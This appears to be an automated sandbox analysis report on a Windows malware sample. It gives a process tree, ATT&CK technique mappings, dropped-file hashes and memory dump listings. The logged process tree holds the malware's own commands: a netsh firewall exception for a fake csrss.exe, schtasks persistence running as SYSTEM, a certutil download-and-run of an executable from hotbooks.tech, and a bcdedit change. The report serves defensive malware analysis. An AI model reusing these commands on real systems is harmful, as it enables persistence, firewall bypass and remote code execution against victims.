"C:\Users\Admin\AppData\Local\Temp\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2196
- C:\Users\Admin\AppData\Local\Temp\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe
  "C:\Users\Admin\AppData\Local\Temp\6bf2156d9758b896d7914a7279ef1493_JaffaCakes118.exe"
  2⤵
  - Windows security bypass
  - Loads dropped DLL
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2808
- - C:\Windows\system32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2544
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      Modifies data under HKEY_USERS
      PID:2932
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe ""
    3⤵
    - Executes dropped EXE
    - Manipulates WinMonFS driver.
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2484
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:1480
  - - C:\Windows\system32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
      4⤵
      Creates scheduled task(s)
      PID:1220
  - - C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
      "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1676
  - - C:\Windows\system32\bcdedit.exe
      C:\Windows\Sysnative\bcdedit.exe /v
      4⤵
      Modifies boot configuration data using bcdedit
      PID:292

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240523185656.log C:\Windows\Logs\CBS\CbsPersist_20240523185656.cab
1⤵
- Drops file in Windows directory
PID:2844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Cab39C8.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar39CB.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
\Users\Admin\AppData\Local\Temp\csrss\patch.exe

Filesize
1.7MB

MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll

Filesize
1.5MB

MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe

Filesize
5.3MB

MD5
1afff8d5352aecef2ecd47ffa02d7f7d

SHA1
8b115b84efdb3a1b87f750d35822b2609e665bef

SHA256
c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1

SHA512
e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe

Filesize
591KB

MD5
e2f68dc7fbd6e0bf031ca3809a739346

SHA1
9c35494898e65c8a62887f28e04c0359ab6f63f5

SHA256
b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4

SHA512
26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll

Filesize
163KB

MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
\Windows\rss\csrss.exe

Filesize
3.9MB

MD5
6bf2156d9758b896d7914a7279ef1493

SHA1
74793ca6a602aae0a81fad7808d63b3d0d5a8070

SHA256
1aa494bed3c60e98e9f25c40e71f4f709c79d46f00f04dfc2ba09d6e465de172

SHA512
3bf97144fb7605682786c01251f29ec0d378e495e65a967179cdfefaa516ce55da0914f515934103779cd9f354454b223bbe48b5243a4fabbb5ff4862c919592

Download Submit
memory/1676-267-0x0000000000460000-0x0000000000A48000-memory.dmp

Filesize
5.9MB

Download
memory/1676-38-0x0000000000610000-0x0000000000BF8000-memory.dmp

Filesize
5.9MB

Download
memory/1676-24-0x0000000000460000-0x0000000000A48000-memory.dmp

Filesize
5.9MB

Download
memory/2196-4-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2196-3-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/2196-1-0x00000000035B0000-0x0000000003957000-memory.dmp

Filesize
3.7MB

Download
memory/2196-0-0x00000000035B0000-0x0000000003957000-memory.dmp

Filesize
3.7MB

Download
memory/2196-5-0x0000000003960000-0x0000000004056000-memory.dmp

Filesize
7.0MB

Download
memory/2196-6-0x00000000035B0000-0x0000000003957000-memory.dmp

Filesize
3.7MB

Download
memory/2196-2-0x0000000003960000-0x0000000004056000-memory.dmp

Filesize
7.0MB

Download
memory/2196-7-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/2484-496-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-495-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-266-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-503-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-18-0x0000000003710000-0x0000000003AB7000-memory.dmp

Filesize
3.7MB

Download
memory/2484-383-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-494-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-146-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-502-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-497-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-498-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-499-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-500-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2484-501-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2808-17-0x0000000000400000-0x00000000031A2000-memory.dmp

Filesize
45.6MB

Download
memory/2808-8-0x0000000003320000-0x00000000036C7000-memory.dmp

Filesize
3.7MB

Download